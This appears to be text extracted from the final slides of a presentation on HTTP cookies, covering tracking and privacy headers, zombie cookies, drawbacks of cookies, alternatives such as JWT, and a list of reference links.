  • 16. Tracking and privacy Cookies are widely used by organizations to track user behavior and advertising. There are some headers that can be used to protect user privacy. Such as - ● Do-Not-Track(DNT) - request header indicates the user’s tracking preference. ● EU cookie directive: The user must give consent to store or retrieve any information from a computer,mobile phone or other devices. ● Zombie cookies - This type of cookie is recreated after deletion and resides outside the web browser’s dedicated cookie storage.
  • 17. Drawbacks of Cookies Cookies have some disadvantages which makes it inefficient to represent state, like - ● Inaccurate identification ● Inconsistent state on client and server
  • 18. Alternative of Cookie There are alternatives of cookies. Some of them are listed below - ● JWT ● HTTP Authentication ● IP address etc.
  • 19. References ● https://www.sjoerdlangkemper.nl/2017/02/09/cookie-prefixes/ ● https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies ● https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie ● https://en.wikipedia.org/wiki/Zombie_cookie ● https://en.wikipedia.org/wiki/HTTP_cookie